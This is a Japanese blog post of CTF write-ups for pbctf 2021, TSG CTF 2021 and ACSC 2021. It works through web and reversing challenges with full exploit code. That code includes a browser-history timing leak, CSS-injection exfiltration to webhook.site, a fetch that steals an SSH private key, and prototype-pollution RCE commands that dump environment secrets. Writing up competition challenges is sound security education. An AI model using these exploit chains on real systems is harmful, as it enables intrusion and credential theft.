st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

pbctf 2021 writeup

10/9 - 10/11という日程で開催された。zer0ptsで参加して5位。

他のメンバーが書いたwrite-up:


[Web 340] Advancement (9 solves)

Embedthis GoAheadの最新版である5.1.4で、以下のようなシンプルなPythonCGIスクリプトが動いている。それだけ。

#!/usr/bin/env python3

from datetime import date

print("Content-Type: text/plain")
print()

today = date.today()
print("Today's date:", today)

これは実は0-day問で、細工したHTTPリクエストを送ると、環境変数に好きな値を設定した上でCGIスクリプトを実行させられる。環境変数が操作できる状態で、Pythonでなにか悪いことができないかPOSIXさんの記事を見てみると、PYTHONSTARTUP というものが見つかった。これは値として設定したファイルが自動的にPythonスクリプトとして読み込まれ実行されるというものだが、残念ながら対話モードでなければならない。

Kahlaさんから LD_PRELOAD であればどうかというアイデアが出た。確かにアップロードしたファイルは通常であれば /etc/goahead/tmp に予測可能なファイル名で一時的に保存されるし、なんなら /proc/self/fd/… がそのファイルを指している。が、残念ながら docker-compose.ymlread_only: true という記述があり、そもそもファイルのアップロードができなかった。

雑に "python environment variable exploit" でググってみると、Hacking with Environment Variablesという大変気になる記事が見つかった。PYTHONWARNINGS という環境変数all:0:antigravity.x:0:0 という値を突っ込んでやれば、antigravity というモジュールが読み込まれるらしい。これはPythonイースターエッグで、読み込むとWebブラウザhttps://xkcd.com/353/ が開かれる。この際 BROWSER という環境変数が参照され、Webブラウザのパスとして扱われるが、その値が perlthanks であれば perlthanks というPerlスクリプトが実行される。Perlは実行時に PERL5OPT という環境変数が設定されていれば、その値がコマンドラインオプションとして与えられているものとして扱う。-Mbase;print(123);exit のような値が入っていれば、任意のPerlコードが実行できてしまう。

これら3つの環境変数を使って、print(system("cat".chr(0x20)."/flag")); というPerlコードを実行させるとフラグが得られた。

pbctf{all_i_was_doing_is_running_a_simple_python_script}

[Web 353] Vault (8 solves)

セキュアにメモを保存できるらしいWebアプリケーションが与えられる。トップページには 1 から 32 までの数値が書かれたボタンがあり、押すとそれぞれ 1/ から 32/ までのサブディレクトリに移動する。例えば 5, 9, 6, 3 の順番で押すと、最終的に /5/9/6/3/ に移動する。

パスが9階層以上の深さになると、以下のようにそのパスにメモを保存できるようになる。これだけ深くなれば、総当たりしようにもできないだろうということらしい。

    if level > 8 and request.method == "POST":
         value = request.form.get("value")
         value = value[0:50]
         values.append(value)

トップページからは好きなURLの通報ができて、以下のようなbotによってアクセスされる。14階層分ランダムにボタンをクリックした後にそのパスにフラグを保存し、そしてユーザが通報したURLにアクセスする。フラグが保存されたパスを特定すればよいようだが、通報の度にそのパスは変わるから、一発で特定できるような方法を考えなければならない。

async function click_vault(page, i) {
  const vault = `a.vault-${i}`;
  const elem = await page.waitForSelector(vault, { visible: true });
  await Promise.all([page.waitForNavigation(), elem.click()]);
}

async function add_flag_to_vault(browser, url) {
  if (!url || url.indexOf("http") !== 0) {
    return;
  }
  const page = await browser.newPage();

  try {
    await page.goto(vaultUrl);

    for (let i = 0; i < 14; i++) {
      await click_vault(page, crypto.randomInt(1, 33));
    }
    await page.type("#value", FLAG);
    await Promise.all([page.waitForNavigation(), page.click("#submit")]);

    await page.goto(url);
    await new Promise((resolve) => setTimeout(resolve, 30 * 1000));
  } catch (e) {
    console.log(e);
  }
  await page.close();
}

フラグのパスが /5/9/6/3/…/ のような場合であれば、botはフラグを書き込むまでに /5/, /5/9/, …といったパスを閲覧しているはずだ。あるパスを閲覧したか判定できるような方法があれば、1階層ずつ総当たりで特定できる。

s1r1usさんから、CSS:visited という擬似クラスを使ってはどうかというアイデアが出た。じゃあCSS Injectionのノリで background-image でリークすればいいんじゃないかと思い、以下のようなHTMLとCSSを書いてみたが動かない。調べてみたところ、どうやらプライバシー上の問題から:visited 擬似クラスが使われている場合は、一部のプロパティしか有効でないらしい。

<style>
  a[href^="/1/"]:visited {
    background-image: url(http://example.com?1);
  }
  a[href^="/2/"]:visited {
    background-image: url(http://example.com?2);
  }
  a[href^="/3/"]:visited {
    background-image: url(http://example.com?3);
  }
</style>
<a href="/1/">hoge</a>
<a href="/2/">hoge</a>
<a href="/3/">hoge</a>

XS-Leaks Wikiなんかも眺めつつなんとかできないか考えていたところ、s1r1usさんがとても興味深いChromiumのissueを発見した。

このissueは次のような内容だ。大量の a 要素を含むWebページを用意して、あらかじめそれらのリンクの href 属性を https://example.com/(乱数) のような確実にユーザが訪問したことのないURLにしておく。続けて、それらのリンクの href 属性を、ユーザが訪問済みであるかどうか確かめたいURLに変更する。もしそのURLが訪問済みであればリンクの色は変わるし、未訪問であればリンクの色は変わらない。その差により、requestAnimationFrame を使ってこの変更後に再描画にかかった時間を計測してやると、訪問済みであれば未訪問である場合より長くなっているはずだ。

手元のGoogle Chrome 94.0.4606.81でも動いたし、問題サーバのbotはシークレットモードでないからこの手法が使えそうだ。issueに添付されていたPoCを参考に、text-shadow などを使ってより再描画に時間がかかりそうな重CSSを書く。リンクの指す先を切り替えて再描画の時間を計測するJavaScriptコードなども丸々書き直すと、次のようなスクリプトができあがった:

<body>
<style>
#nyan {
  text-shadow: black 1px 1px 50px;
  opacity: 1;
  font-size: 15px;
  word-break: break-all;
}

a {
  padding: .5em;
}
</style>
<div id="nyan"></div>
<script>
const NUMBER_OF_ELEMENTS = 130;
const NUMBER_OF_TRIES = 4;

const div = document.getElementById('nyan');
for (let i = 0; i < NUMBER_OF_ELEMENTS; i++) {
  let link = document.createElement('a');
  link.textContent = '#'.repeat(15);
  link.style.position = 'absolute';
  link.style.top = i + 'px';
  link.style.left= i + 'px';
  div.appendChild(link);
}

function updateLinks(url) {
  for (let i = 0; i < NUMBER_OF_ELEMENTS; i++) {
    div.children[i].href = url;
  }
}

function average(a) {
  return a.reduce((p, c) => p + c, 0) / a.length;
}

function go(link) {
  return new Promise(resolve => {
    let a = [];
    let count = 0;
    updateLinks(Math.random());

    let prev = performance.now();
    let flag = false;

    function loop() {
      let now = performance.now();
      let diff = now - prev;
      prev = now;
      a.push(diff);

      flag = !flag;
      if (flag) {
        updateLinks(Math.random());
      } else {
        updateLinks(link);
      }

      count++;
      if (count < NUMBER_OF_TRIES) {
        requestAnimationFrame(loop);
      } else {
        resolve(average(a));
      }
    }
  
    requestAnimationFrame(loop);
  });
}

(async () => {
  const result = await go(`http://vault.chal.perfect.blue/0/`);

  let known = '';
  for (let i = 0; i < 14; i++) {
    let [mt, mu] = [0, ''];
    for (let j = 1; j <= 32; j++) {
      const result = await go(`http://vault.chal.perfect.blue/${known}${j}/`);
      if (result > mt) {
        mt = result;
        mu = j;
      }
    }
    known += `${mu}/`;
    console.log(known);
    navigator.sendBeacon(`log.php?${known}`);
  }
})();
</script>
</body>

このHTMLを開くと、いかにも重そうなおぞましいWebページが描画される。

f:id:st98:20211014103923p:plain

これをbotに報告してやると、そのアクセスでは /8/22/21/4/15/4/18/9/9/1/5/17/8/16/ がフラグの保存されたパスであることがわかった。そのパスにアクセスするとフラグが得られた。

pbctf{who_knew_that_history_was_not_so_private}

TSG CTF 2021 writeup

10/2 - 10/3という日程で開催された。zer0ptsで参加して1位。やったー。毎度のことながら高品質な問題ばかりで楽しかった。

このwriteupで紹介する問題のほかにもWeb問とか、Pillowのデコーダの挙動を悪用しつつSGIという謎画像フォーマットでゴルフをするMisc問のKotlin Lovers Societyとかにも取り組んでいたのだけれども、結局解けなくてくやしい。

他のメンバーが書いたwrite-up:


[Web 393] Udon (4 solves)

ででーん!うどん、動きます。

(URL)

Beginners CTF 2019のRamen、Beginners CTF 2020のSomen、そしてSECCON 2020 Online CTFのpastaに続く麺類シリーズの最新作。今回は好きなうどんについてメモを残せるサービスが提供されている。以下のようなフォームからうどんのメモを投稿できるが、<, >, ', " といった記号は実体参照に変換されてしまうためContent Injectionはできない。

f:id:st98:20211003170446p:plain

トップページからは投稿したメモの一覧を閲覧できる。ここでもメモのタイトルに含まれる特殊な記号は実体参照に変換されるし、各メモのURLについてもサービス側がランダムに生成したIDが使われるため、属性値でのContent Injectionはできない。

f:id:st98:20211003170915p:plain

各メモのページには Tell Admin About This Udon Note というボタンが用意されており、これを押すとadminがアクセスしに来てくれる。ソースコードを確認すると、adminは uid というCookieのキーにadminのユーザIDをセットした上で、Firefoxを使ってアクセスすることがわかる。

  const browser = await puppeteer.launch({
    product: "firefox",
    headless: true,
    ignoreHTTPSErrors: true,
  });
  const page = await browser.newPage();
  await page.setCookie({
    name: "uid",
    value: process.env.ADMIN_UID,
    domain: "app",
    expires: Date.now() / 1000 + 10,
  });

Webサーバ側のソースコードも確認すると、初期化処理としてadminのユーザIDでフラグをその内容としたメモを投稿していることがわかる。なんらかの方法でこのメモのURLを入手することがこの問題の目標のようだ。

   posts := []Post{}
    db.Where("uid = ?", os.Getenv("ADMIN_UID")).Find(&posts)
    if len(posts) == 0 {
        db.Create(&Post{
            UID:         os.Getenv("ADMIN_UID"),
            Title:       "flag",
            Description: os.Getenv("FLAG"),
        })
    }

怪しげな挙動を探していく。ページ下部にクリックすると /reset?k=set-cookie&v=uid%3Dblah%3B+path%3D%2F%3B+expires%3DThu%2C+01+Jan+1970+00%3A00%3A00+GMT に飛ぶ reset というリンクがある。このURLにアクセスするとCookieが削除される。

与えられたソースコードを見てみると、この機能は以下のようなミドルウェアとして実装されていることがわかる。これを使えば、どのページにおいてもGETパラメータの k をキー、v を値として、Set-Cookie に限らずひとつだけ好きなHTTPレスポンスヘッダを発行させられる。HTTPヘッダインジェクションだ。

   r.Use(func(c *gin.Context) {
        k := c.Query("k")
        v := c.Query("v")
        if matched, err := regexp.MatchString("^[a-zA-Z-]+$", k); matched && err == nil && v != "" {
            c.Header(k, v)
        }
        c.Next()
    })

まず Content-Security-Policy ヘッダで report-uri ディレクティブを使うことを考えたが、default-src 'none' ですべてのリソースの読み込みをブロックさせても、以下のように違反レポートからは有用な情報はまったく得られなかった。

{"csp-report":{"blocked-uri":"http://app:8080/favicon.ico","column-number":19,"document-uri":"http://app:8080/?k=Content-Security-Policy&v=default-src%20%27none%27%3b%20report-uri%20https://webhook.site/…","line-number":191,"original-policy":"default-src 'none'; report-uri https://webhook.site/…","referrer":"","source-file":"resource","violated-directive":"default-src"}}

ここで悩んでいたが、s1r1usさんが Link ヘッダを使うことを思いついた。このヘッダを使えば、link 要素を挿入した場合と同じ効果が得られる。つまり、Link: <style.css>; rel="stylesheet" のようなHTTPレスポンスヘッダを発行させれば好きなページで好きなCSSを読み込ませることができる。Link ヘッダはFirefoxぐらいしか対応していないが、そういえばadminはちょうどFirefoxを使っていた。

script-src 'self'; style-src 'self'; base-uri 'none' という内容のCSPヘッダが発行されているために、CSSの読み込み先は同じオリジンでなければならないが、幸いにもこのサービスでは好きなコンテンツを投稿できる。試しに {}*{background:red;} のような内容のメモを作成して、Link ヘッダを使ってトップページで読み込ませてみる。/?k=Link&v=</notes/I4zgr9doRL>%3b rel="stylesheet" のようなURLにアクセスしたところ、 以下のようにページが赤に染まった。ちゃんとメモをCSSとして読み込ませることができたようだ。

f:id:st98:20211003180048p:plain

CSSを使ってトップページに表示されているリンクのURLを抽出したい。CSS Injectionと同じ要領で、a[href$=…]{background:url(…);} のように属性セレクタを使って、a 要素の href 属性がある文字列で終わっていれば特定のURLの画像を読み込むというようなルールをたくさん作ってやれば、少しずつURLが抽出できるはずだ。雑にスクリプトを書く。

import requests

payload = '{}'
known = ''
for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
  payload += 'a[href$=' + c + known + ']{background:url(https://webhook.site/…?' + c + known + ')}'

print(len(payload))

r = requests.post('http://34.84.69.72:8080/notes', data={
  'title': payload,
  'description': 'desc'
})
path = r.url.rsplit('/', 1)[-1]

requests.post('http://34.84.69.72:8080/tell', data={
  'path': f'/?k=Link&v=</notes/{path}>%3b rel=%22stylesheet%22'
})

これを実行すると、https://webhook.site/…?r にアクセスが来た。これで r で終わるURLへのリンクがトップページに存在することがわかる。ただ、属性セレクタの属性値は実体参照への変換を避けるために "' で囲んでいないから、もし a[href$=1]{…} のように数字から始まっていれば、仕様からわかるようにちゃんと動いてくれない。もし属性値が数字から始まりそうな場合には、以下のようにブルートフォースしてしまおう。

payload = '{}'
known = ''
for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
  for d in '0123456789':
    payload += 'a[href$=' + c + d + known + ']{background:url(https://webhook.site/…?' + c + d + known + ')}'

このスクリプトを使って少しずつフラグのメモのURLを特定できた。/notes/ytH2ajv63r にアクセスするとフラグが得られた。

TSGCTF{uo_uo_uo_uo_uoooooooo_uo_no_gawa_love}

この問題はzer0ptsがfirst bloodだった。競技終了後に公開された作問者によるwriteupを確認したところ、属性セレクタの属性値の部分について、わざわざブルートフォースで飛ばして数字から始まらないようにしなくとも a[href$=\31] { background: red; } のようにエスケープすればよいことがわかった。なるほどなあ。

[Reversing 227] Natural Flag Processing (16 solves)

このRNNモデルが受理するフラグ文字列を探してください。

main.py という以下のような内容のPythonスクリプトと、model_final.pth というモデルが与えられている。

import string

import torch
from torch import nn

FLAG_CHARS = string.ascii_letters + string.digits + "{}-"
CHARS = "^$" + FLAG_CHARS
def sanity_check(text):
    global FLAG_CHARS
    assert text[:7] == "TSGCTF{"
    assert text[-1:] == "}"
    assert all([t in FLAG_CHARS for t in text])

def embedding(text):
    global CHARS
    x = torch.zeros((len(text), len(CHARS)))
    for i, t in enumerate(text):
        x[i, CHARS.index(t)] = 1.0
    return x

class Model(nn.Module):
    def __init__(self, inpt, hidden):
        super().__init__()
        self.cell = nn.RNNCell(inpt, hidden)
        self.out = nn.Linear(hidden, 1)
    def forward(self, xs):
        h = None
        for x in xs:
            h = self.cell(x, h)
        return self.out(h)

def inference(model, text):
    model.eval()
    with torch.no_grad():
        x = embedding("^"+text+"$").unsqueeze(1)
        y = model(x)[0].sigmoid().cpu().item()
    return y

model = Model(len(CHARS), 520)
model.load_state_dict(torch.load("model_final.pth"))
text = input("input flag:")
sanity_check(text)
if inference(model, text) > 0.5:
    print("Congrats!")
else:
    print("Wrong.")

Modelforward メソッドを以下のものに差し替える。

    def forward(self, xs):
        h = None
        for i, x in enumerate(xs):
            h = self.cell(x, h)
            print(max(h[0]))
        return self.out(h)

この状態で inference(model, 'AAAAAAA')inference(model, 'TSGCTF{') を実行してみると、それぞれ以下のような結果になった。正解の文字でなければ結果が大きく変わるっぽい。これを使ってちょっとずつフラグを特定していこう。

f:id:st98:20211003190554p:plain

今度は Modelforward メソッドを以下のものに差し替える。

    def forward(self, xs):
        h = None
        for i, x in enumerate(xs):
            h = self.cell(x, h)
            result = float(max(h[0]))
            if result < 0.5:
              raise Exception(i)
        return self.out(h)

このまま以下のコードを実行してみると、mRnAmRNa などそれっぽい文字列を出力し始めた。定期的に止めて人の手でそれっぽい文字列だけを残すようにしてやり、再び実行するという流れを何度も繰り返すと、最終的に mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN という文字列が得られた。

import queue

q = queue.Queue()
q.put('')

while not q.empty():
  tmp = q.get()
  l = len(tmp) + 8
  for c in FLAG_CHARS:
    try:
      inference(model, 'TSGCTF{' + tmp + c + '}')
    except Exception as e:
      if e.args[0] > l:
        print(tmp + c)
        q.put(tmp + c)
TSGCTF{mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN}

Asian Cyber Security Challenge (ACSC) 2021 writeup

9/18 - 9/19という日程で開催された。このCTFは個人戦で、総合順位は4位、(今年の1/1時点で25歳以下であり、アジアの一部の国の国籍を持つという)決勝大会への参加資格を持つ人の中では2位だった。日本国内でも2位で、来年の6月にアテネで開催される予定の決勝大会にたぶん参加できるらしく嬉しい。


[Warmup 1] welcome (429 solves)

Discordサーバに入るとフラグが得られた。いつものやつ。

ACSC{welcome_to_ACSC_2021!}

[Web 220] API (107 solves)

与えられたURLにアクセスするとログインフォームが表示される。通常利用できる機能はユーザの登録、ログイン、ログアウトのみ。

function main($acc){
    gen_user_db($acc);
    gen_pass_db();
    header("Content-Type: application/json");
    $user = new User($acc);
    $cmd = $_REQUEST['c'];
    usleep(500000);
    switch($cmd){
        case 'i':
            if (!$user->signin())
                echo "Wrong Username or Password.\n\n";
            break;
        case 'u':
            if ($user->signup())
                echo "Register Success!\n\n";
            else
                echo "Failed to join\n\n";
            break;
        case 'o':
            if ($user->signout())
                echo "Logout Success!\n\n";
            else
                echo "Failed to sign out..\n\n";
            break;
    }
    challenge($user);
}

adminになれれば、以下のコードからわかるようにユーザ一覧の取得やある文字列がフラグであるかどうかの確認などの機能も利用できるようになる。adminでなければ /api.php にリダイレクトされる。

function challenge($obj){
    if ($obj->is_login()) {
        $admin = new Admin();
        if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
        $cmd = $_REQUEST['c2'];
        if ($cmd) {
            switch($cmd){
                case "gu":
                    echo json_encode($admin->export_users());
                    break;
                case "gd":
                    echo json_encode($admin->export_db($_REQUEST['db']));
                    break;
                case "gp":
                    echo json_encode($admin->get_pass());
                    break;
                case "cf":
                    echo json_encode($admin->compare_flag($_REQUEST['flag']));
                    break;
            }
        }
    }
}

が、redirect の実装を見ると exit もしくは die が呼び出されておらず、以降の処理も続けて実行されてしまうため、結局のところadminでもadminでなくてもadmin向けの export_users などのメソッドが呼び出せてしまうことがわかる。

 public function redirect($url, $msg=''){
        $con = "<script type='text/javascript'>".PHP_EOL;
       if ($msg) $con .= "\talert('%s');".PHP_EOL;
       $con .= "\tlocation.href = '%s';".PHP_EOL;
       $con .= "</script>".PHP_EOL;
        header("location: ".$url);
        if ($msg) printf($con, $msg, $url);
        else printf($con, $url);
    }

admin向けの機能である export_db の実装を確認する。指定したファイルを読み込んで返してくれる機能のようだ。is_pass_correct が呼ばれていることからわかるように $this->db['path'] の内容を pas というGETパラメータから与えないといけないが、まさにそれを返してくれる get_pass もadmin向けの機能として呼び出せてしまう。

 public function export_db($file){
        if ($this->is_pass_correct()) {
            $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
            $path .= "db".DIRECTORY_SEPARATOR;
            $path .= $file;
            $data = file_get_contents($path);
            $data = explode(',', $data);
            $arr = [];
            for($i = 0; $i < count($data); $i++){
                $arr[] = explode('|', $data[$i]);
            }
            return $arr;
        }else 
            return "The passcode does not equal with your input.";
    }

// …

    public function is_pass_correct(){
        $passcode = $this->get_pass();
        $input = $_REQUEST['pas'];
        if ($input == $passcode) return true;
    }

// …

    public function get_pass(){
        return file_get_contents($this->db['path']);
    }

ユーザ登録 → get_pass からadmin向けの機能を利用するためのパスワードを取得 → export_db から /flag を取得という流れでフラグが得られた。

$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=u"
Register Success!
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&c2=gp"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
":<vNk"
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&pas=:<vNk&c2=gd&db=../../../../../flag"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
[["ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"]]
ACSC{it_is_hard_to_name_a_flag..isn't_it?}

[Web 230] Baby Developer (18 solves)

/ にアクセスするとフラグを返すWebサーバが動いている genflag、HTTPサーバとSSHサーバが動いており、後者にログインすると genflag にアクセスできフラグが得られる website、Redisサーバが動く redis、メインのWebサーバである mobile-viewer の4つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは websiteSSHサーバと mobile-viewer のみだ。

mobile-viewer を見ていく。これはURLを与えるとChromiumでアクセスし、16x16のサイズでスクリーンショットを撮影して返してくれる。一応 genflag にもアクセスさせられるが、genflag 側では以下のように User-AgentiPhone が含まれていないか確認されているし、mobile-viewer によるアクセスはまさにその条件に当てはまってしまうのでダメ。

@app.route('/flag')
def hello_world():
    if request.remote_addr == dev and 'iPhone' not in request.headers.get('User-Agent'):
        fp = open('/flag', 'r')
        flag = fp.read()
        return flag
    else:
        return "Nope.."

website を見ていく。ソースコードとして以下のような Dockerfile が与えられている。鍵の生成などのSSHのための設定を行った後にSSHサーバを立ち上げ、stypr/harold.kim をcloneしてきてWebサーバを立ち上げている。リポジトリpackage.json を見るにVitepressを使っているらしい。

FROM node:lts-buster
WORKDIR /srv/
RUN apt-get update && apt-get -y install ssh

# For remote ssh from the library PC
RUN useradd -d /home/stypr -s /home/stypr/readflag stypr && \
    mkdir -p /home/stypr/.ssh/ && ssh-keygen -q -t rsa -N '' -f /home/stypr/.ssh/id_rsa && \
    cp /home/stypr/.ssh/id_rsa.pub /home/stypr/.ssh/authorized_keys

# Challenge: get flag!
RUN touch /home/stypr/.hushlogin && \
    echo '#include <stdio.h>\r\n#include <stdlib.h>\r\nint main(){FILE *fp;char flag[1035];fp = popen("/usr/bin/curl -s http://genflag/flag", "r");if (fp == NULL) {printf("Error found. Please contact administrator.");exit(1);}while (fgets(flag, sizeof(flag), fp) != NULL) {printf("%s", flag);}pclose(fp);return 0;}' > /home/stypr/readflag.c && \
    gcc -o /home/stypr/readflag /home/stypr/readflag.c && \
    chmod +x /home/stypr/readflag && rm -rf /home/stypr/readflag.c

# Run dev version of harold.kim
RUN git clone https://github.com/stypr/harold.kim
RUN cd harold.kim && yarn install

CMD ["sh", "-c", "service ssh start && cd /srv/harold.kim/ && yarn build && yarn dev --port 80 2>&1 >/dev/null"]

Viteのissueを眺めていると、/@fs/etc/passwd のような感じでPath Traversalができるという脆弱性があるらしいことがわかった。試しにローカル環境で mobile-viewer でシェルを立ち上げて curl http://website/@fs//home/stypr/.ssh/id_rsa してみるとSSH用の秘密鍵が得られてしまった。

さて、これをChromiumで行うにはどうすればよいだろうか。16x16の小さなスクリーンショットではろくな情報が得られない。iframe で開かせてCSSposition: absolutetopleft などを設定して位置を調整し、1~2文字ずつ抽出する手が考えられる。が、1分に6回までしか抽出できない制約がありつらい。

website が返すヘッダをよく見ると、Access-Control-Allow-Origin: * が付いていた。これなら違うオリジンからも内容が取得できてしまう。スクリーンショットはいらなかった。次のようなHTMLを用意して mobile-viewerChromiumにアクセスさせる。すると、log.php秘密鍵がPOSTされた。

<script>
(async () => {
  const r = await fetch('http://website/@fs//home/stypr/.ssh/id_rsa', { mode: "cors" });
  const t = await r.text();
  navigator.sendBeacon('log.php', t);
})();
</script>

この秘密鍵を使って websiteSSHサーバにログインするとフラグが得られた。

$ chmod 600 id_rsa
$ ssh stypr@baby-developer.chal.acsc.asia -p2222 -i id_rsa
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}

Connection to baby-developer.chal.acsc.asia closed.
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}

[Web 330] Favorite Emojis (46 solves)

web (nginx) と apirenderer (tvanro/prerender-alpine) という3つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは web だけで、これは以下のような設定で動いている。User-Agentbotっぽい文字列が含まれていれば renderer に見に行かせるらしい。

server {
    listen 80;
 
    root   /usr/share/nginx/html/;
    index  index.html;

    location / {
        try_files $uri @prerender;
    }
 
    location /api/ {
        proxy_pass http://api:8000/v1/;
    }
 
    location @prerender {
        proxy_set_header X-Prerender-Token YOUR_TOKEN;
        
        set $prerender 0;
        if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
            set $prerender 1;
        }
        if ($args ~ "_escaped_fragment_") {
            set $prerender 1;
        }
        if ($http_user_agent ~ "Prerender") {
            set $prerender 0;
        }
        if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
            set $prerender 0;
        }
 
        if ($prerender = 1) {
            rewrite .* /$scheme://$host$request_uri? break;
            proxy_pass http://renderer:3000;
        }
        if ($prerender = 0) {
            rewrite .* /index.html break;
        }
    }
}

Host ヘッダに example.com を入れてHTTPリクエストを送ると /$scheme://$host$request_uri? にそのまま展開され、renderer が取ってきた example.com のコンテンツを返す。フラグは以下からわかるように api/ が返すから、rendererapi:3000 にアクセスさせたい。一方で、nginxの設定のrewriteルールを見ればわかるようにポート番号は挿入されないから、Host: api:3000 のようなヘッダを送るだけではアクセスさせられない。

FLAG = os.getenv("flag") if os.getenv("flag") else "ACSC{THIS_IS_FAKE}"

app = Flask(__name__)
emojis = []


@app.route("/", methods=["GET"])
def root():
    return FLAG

色々試していると、api:3000 のように : をU+FF1Aに変えるだけでバイパスできた。

$ curl --path-as-is -H "User-Agent: googlebot" http://favorite-emojis.chal.acsc.asia:5000 -H "Host: api:8000"
<html><head></head><body>ACSC{sharks_are_always_hungry}</body></html>
ACSC{sharks_are_always_hungry}

[Web 370] Cowsay as a Service (33 solves)

名前を入力すると cowsay を使って牛に喋ってもらえる便利なアプリケーションが与えられる。文字の色も変えられるなど、機能が充実している。

f:id:st98:20210920030130p:plain

文字色の変更は以下のAPIを使って行われている。/setting/color{"value":"#ff0000"} のようなJSONを投げると、settings という変数から現在ログインしているユーザの設定を引っ張り出してきて、そこに書き込むらしい。ユーザ名のチェックはまったくないので、例えばユーザ名が __proto__ である場合には settings[ctx.state.user]Object.prototype を返し、さらに setting[ctx.params.name] = ctx.request.body.valueObject.prototype[name] = value 相当のことができる。Prototype Pollutionだ。

const settings = {};

// …

router.post('/setting/:name', (ctx, next) => {
  if (!settings[ctx.state.user]) {
    settings[ctx.state.user] = {};
  }
  const setting = settings[ctx.state.user];
  setting[ctx.params.name] = ctx.request.body.value;
  ctx.redirect('/cowsay');
});

使えるgadgetがないか調べていると、Kibanaで発見されたCVE-2019-7609の記事がヒットした。この記事では child_process.spawn から呼び出されている normalizeSpawnArguments 内に const env = options.env || process.env; という処理があるために、Object.prototype.env にオブジェクトを入れておけばOSコマンドの実行時に環境変数を操作できてしまうというgadgetが使われている。このWebアプリケーションでも child_process.spawnSynccowsay の呼び出しに使われているから利用できそうだ。

ほかにもこの関数にgadgetがないか探していると、options.shell を参照している処理が見つかった。Object.prototype.shell/usr/local/bin/node を、Object.prototype.env は先ほどの記事を参考に {"AAA":"(コード)","NODE_OPTIONS":"--require /proc/self/environ"} を入れればRCEに持ち込めるはずだ。

フラグは環境変数にある。child_process.spawnSync から呼び出されたNode.jsは環境変数が汚れてしまっているので、別のプロセスの /proc/…/environ を読んでしまえばよい。

$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/shell' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: username=__proto__' \
  --data-raw '{"value":"/usr/local/bin/node"}'
Redirecting to <a href="/cowsay">/cowsay</a>.

$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/env' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: username=__proto__' \
  --data-raw '{"value":{"AAA":"console.log(require(`fs`).readFileSync(`/proc/1/environ`).toString())//","NODE_OPTIONS":"--require /proc/self/environ"}}'
Redirecting to <a href="/cowsay">/cowsay</a>.

$ curl "http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/cowsay?say=a" --output -
…
<pre style="color: #000000" class="cowsay">
NODE_VERSION=16.9.1HOSTNAME=38ee80afc568YARN_VERSION=1.22.5HOME=/home/nodeCS_USERNAME=hemwIdPEaGRqLSYTPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCS_PASSWORD=FqPkMVJuBvsHypGfPWD=/usr/src/appFLAG=ACSC{(oo)<Moooooooo_B09DRWWCSX!}

</pre>
ACSC{(oo)<Moooooooo_B09DRWWCSX!}

[Rev 170] sugar (26 solves)

disk.imgOVMF.fd などのファイルが与えられた。指示通りQEMUで実行してみると、以下のようにフラグを入力せよと言われた。disk.img にはUEFIアプリケーションが含まれており、これを解析する問題らしい。

$ qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic
Input flag:

適当なバイナリエディタdisk.img を開き、MZ で検索するとUEFIアプリケーションのPEが抽出できる。IDA Freewareで静的解析していく。このPEに含まれる文字列を見ていると、Correct! やら Input flag: やら怪しいものがあった。どれも同じ関数から参照されており、おそらくそこでフラグがチェックされているのだろう。

f:id:st98:20210920021614p:plain

この関数では、まず入力を求めた後に、それが38文字であり、ACSC{} で囲まれていることを確認している。しばらくよくわからない処理が続くが、失敗するとAesInitAesCbcEncrypt といった文字列を含むエラーメッセージを吐くところからAESで何かしらを復号しているのだろうと推測できる。

f:id:st98:20210920022629p:plain

最後にユーザ入力の6文字目以降から32文字を切り取り、おそらくそれを16進数表記として解釈してデコードした上で var_450 と比較している。

f:id:st98:20210920022656p:plain

この var_460 に何が入るか確認したい。QEMUコマンドラインオプションに -s -S を加え、gdb で接続する。Wrong! と出力するか Correct! と出力するかが決まる jzブレークポイントを設定した上で continue させる。

$ ./qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic -s -S    
$ gdb
target remote localhost:1234
b *0x0000000006668627
c

$rbp-0x450 を見てみると、以下のようなバイト列が入っていた。これをhexエンコードして ACSC{} で囲めばフラグになる。

(gdb) x/16bx $rbp-0x450
